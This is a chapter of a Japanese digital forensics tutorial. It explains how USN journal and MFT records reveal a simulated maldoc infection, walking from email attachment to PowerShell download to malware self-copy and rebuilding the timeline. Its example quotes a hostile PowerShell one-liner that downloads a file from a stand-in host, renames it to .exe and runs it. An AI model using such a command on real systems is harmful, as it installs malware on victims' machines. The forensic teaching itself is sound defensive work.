17章
2 USNジャーナルのファストフォレンジック
USNジャーナル分析の着眼点
前の節では、USNジャーナルの概要やパース方法、パース結果の分析方法について学習しました。この節では、実際のUSNジャーナル分析作業において着目すべきポイントを、具体例から紹介していきます。
まず、その前提として、ファイル/フォルダに対する操作とUSNジャーナルのレコード作成理由との関係を、再度整理しておきます。
ファイル/フォルダの新規作成
- インシデントにおける発生ケース
- 外部からのファイルのダウンロード
- 不正スクリプトによる攻撃用ファイル生成
- USNジャーナルのレコード作成理由(Reason)
- FILE_CREATE
ファイル/フォルダの削除
- インシデントにおける発生ケース
- 攻撃によるデータ破壊
- マルウェア自身や攻撃用ファイルの消去(証拠隠滅)
- USNジャーナルのレコード作成理由(Reason)
- FILE_DELETE
ファイル/フォルダの移動・リネーム
- インシデントにおける発生ケース
- ごみ箱への隠匿
- ファイル名の偽装
- USNジャーナルのレコード作成理由(Reason)
- RENAME_OLD_NAME(移動・リネーム前のファイルに対して作成)
- RENAME_NEW_NAME(移動・リネーム後のファイルに対して作成)
- 留意事項
- 移動(リネームなし)の場合、ファイル/フォルダ名は2つのレコードで同一で、親フォルダIDが変更される
- リネーム(移動なし)の場合、ファイル/フォルダ名が変更され、親フォルダIDは同一
- ごみ箱に入れた場合は、移動とリネームが同時に発生するため、ファイル/フォルダ名も親フォルダIDも変更される
ファイルの更新(データの追加/上書き)
- インシデントにおける発生ケース
- マルウェア等が生成したファイル(FILE_CREATEに続いて発生)
- 正規ファイルの改ざん、暗号化
- レコード作成理由(Reason)
- DATA_EXTEND(追加)
- DATA_OVERWRITE(上書き)
- DATA_TRANCATION(一部削除)
ファイル/フォルダのコピー(同一ドライブ内)
- インシデントにおける発生ケース
- マルウェアの増殖、自己複製(コピー)
- 外部送信する窃取データの準備
- レコード作成理由(Reason)
- FILE_CREATE
- コピーと新規作成の判別ポイント
- ファイルの場合、MFTや実際のファイルを参照して、ファイルサイズやハッシュ値、更新日時が同一である別のファイル有無を検索
- 初回起動直後に自己複製するマルウェアの場合、次の点に着目して、マルウェア起動時に作成されるプリフェッチファイルの「FILE_CREATE」と併せて時系列を追う
- 対象ファイルの「FILE_CREATE」直前に作成されたプリフェッチファイル有無(オリジナルのマルウェア起動により複製された可能性)を確認
- 対象ファイルの「FILE_CREATE」直後に、同ファイルを起動したことを示すプリフェッチファイルが作成された場合、自己複製したマルウェアを起動した可能性が考えられる
以下、具体的な想定事案におけるUSNジャーナルの分析例を紹介します。
USNジャーナルの具体的な分析例
想定事案の概要(Maldocによるマルウェアの着弾と感染)
- なりすましメールに添付されたMaldoc(Excel文書)を開いてしまったことから、不正なPowerShellスクリプトが実行され、その結果、外部からダウンロードされたマルウェアに感染した。
- 同マルウェアは、起動後に自己複製を行い、複製プロセスを起動して悪性活動を開始する。
関係するファイル
- Maldoc(Excelマクロファイル)
sampleV2.xlsm
- マルウェアの実行ファイル
zsys909.jpg.exe(ダウンロードされる実行ファイル)karnel_info.exe(複製される実行ファイル)
Maldocにより実行された不正スクリプト
powershell.exe -NoLogo -ExecutionPolicy RemoteSigned -Command Invoke-WebRequest http://dl.xxx.example.com/zsys909.jpg -OutFile C:\Users\AXDF_U~1\AppData\Local\Temp\zsys909.jpg;
Rename-Item C:\Users\AXDF_U~1\AppData\Local\Temp\zsys909.jpg zsys909.jpg.exe;
Invoke-Item C:\Users\AXDF_U~1\AppData\Local\Temp\zsys909.jpg.exe
分析-1|Maldoc起動に関連する履歴
まず、利用者が業務文書と誤信して、Maldocを開いてしまった履歴を確認しましょう。
なりすましメールを受信した電子メールアプリで、添付されたMaldocのファイルを保存(本事例ではデスクトップへ保存)した際、次の履歴がUSNジャーナルに記録されます。
保存先フォルダに、ランダムな名称の一時ファイルが作成される(FILE_CREATE)。
一時ファイルが、本来のファイル名である「
sampleV2.xlsm」へリネームされる(RENAME_OLD_NAME、RENAME_NEW_NAME)。※ 電子メールアプリや操作方法によっては、挙動が異なることがあります。
これらにより、Maldocを保存した日時と保存フォルダが特定されます。
- USNジャーナル: 添付ファイル保存時の一時ファイルと、実際の添付ファイル名へのリネーム

- MFT: Maldocの保存フォルダ(親フォルダID:99819、
C:\Users\axdf_user\Desktop)

続いて、デスクトップに保存したMaldocのファイル「sampleV2.xlsm」を、Excelで開いた際の履歴をみてみましょう。
次の履歴がUSNジャーナルに記録されます。
「最近使ったファイル(Recent)」フォルダに、「
sampleV2.xlsm」のショートカットファイル(.LNK)が作成される(FILE_CREATE)。Excelにより、Maldocのファイルと同じフォルダに、作業用一時ファイル「
~$sampleV2.xlsm」が作成される(FILE_CREATE)。
これらにより、Maldocを開いた日時(≒ 不正なPowerShellスクリプトの実行日時)が特定されます。
- USNジャーナル: 「最近使ったファイル」のショートカットファイル(.LNK)と、Excelの一時ファイル(ファイル名先頭が「~$」)

- MFT: 「最近使ったファイル」(Recent)フォルダ(親フォルダID:99833)

分析-2|マルウェアの着弾に関連する履歴
続いて、Maldocを開いてしまった結果、不正なPowerShellスクリプトが実行され、マルウェア感染に至った経過を分析します。
まず、マルウェア「zsys909.jpg」(画像ファイルに拡張子偽装)が、不正スクリプトによりダウンロードされた際は、次の履歴がUSNジャーナルに記録されます。
保存先フォルダに、PowerShellスクリプトで指定された名称のファイル(画像ファイルに偽装)が作成される(FILE_CREATE)。
ファイルにデータが追加・更新される(DATA_EXTEND、DATA_OVERWRITE)。
※ ファイルサイズ等により挙動が異なる場合があります。
これらにより、マルウェアがダウンロードされた日時と保存フォルダが特定されます。
- USNジャーナル: ダウンロードされたマルウェア

- MFT: マルウェアがダウンロードされたフォルダ(親フォルダID:99840)

続いて、ダウンロードされたマルウェアが、拡張子を「.exe」へ変更された後に起動された際、次の履歴がUSNジャーナルに記録されます。
「
zsys909.jpg」が「zsys909.jpg.exe」にリネームされる(RENAME_OLD_NAME、RENAME_NEW_NAME)。「
zsys909.jpg.exe」のプリフェッチファイル(拡張子「.pf」)が作成される(FILE_CREATE)。
これらにより、マルウェアの実行ファイルパスと実行日時(プリフェッチファイルの作成日時 - 約10秒)が特定されます。
- USNジャーナル: 「
zsys909.jpg.exe」へのリネームとプリフェッチファイルの作成

- MFT: プリフェッチファイルのフォルダ(親フォルダID:61252)

分析-3|マルウェアの複製に関する履歴
続いて、起動したマルウェアが自己複製を行い、複製プロセスを起動した状況を分析します。
まず、複製された実行ファイルをMFTで検索します。
ダウンロードされたマルウェアの実行ファイル「zsys909.jpg.exe」をMFTで検索し、さらに同ファイルのファイルサイズでフィルターします。
- MFT: 複製されたファイルをファイルサイズで検索(ファイルサイズ:88,576バイト)

マルウェアと同一サイズかつ作成日時が近接したファイル「karnel_info.exe」が検出されました。
次に、この同一サイズの2つのファイル名で、USNジャーナルをフィルターします。
- USNジャーナル: 「
zsys909.jpg.exe」の自己複製と複製プロセス「karnel_info.exe」の起動

この結果、次のようなタイムラインが明らかになりました(日付と1/10秒以下は省略します)。
11:42:07
ダウンロードされたマルウェア「
zsys909.jpg.exe」の起動※ [ プリフェッチファイルの新規作成日時 ー 10秒 ] とする
11:42:32
フォルダ「
C:\karnel.temp」の新規作成※同フォルダの親フォルダID:5 は、Cドライブのルートフォルダを示す
複製されたマルウェア「
C:\karnel.temp\karnel_info.exe」の保存※「
zsys909.jpg.exe」のコピー
11:42:34
複製されたマルウェア「
karnel_info.exe」の起動※ [ プリフェッチファイルの新規作成日時 ー 10秒 ] とする
このタイムラインから、「zsys909.jpg.exe」が、「karnel_info.exe」を自己複製して起動したものと推定されます。
なお、プリフェッチファイルが新規作成(「FILE_CREATE」)されている場合は、その実行ファイルは初回起動と判断できます。2度目以降の場合には、新たなプリフェッチファイルは作成されず、既存のプリフェッチファイルに起動履歴が追記されますので、「FILE_CREATE」は記録されずに、「DATA_EXTEND」(データの追加)等が記録されます。
このように、サイバー攻撃やマルウェア感染の経過をタイムライン化するためには、複数の視点からの検索や、無関係な履歴の除外など、地道な作業を重ねる必要があります。
一方、USNジャーナルとMFTは情報の宝庫ともいえます。サイバーインシデントだけではなく、運用上の事故やシステム障害、内部不正、犯罪捜査など、さまざまなケースにおけるデジタルフォレンジックの場面でも、このような調査は有効でしょう。
後続のHands-on-2では、サイバー攻撃によるインシデントの調査を想定して、USNジャーナルを分析するハンズオンを行います。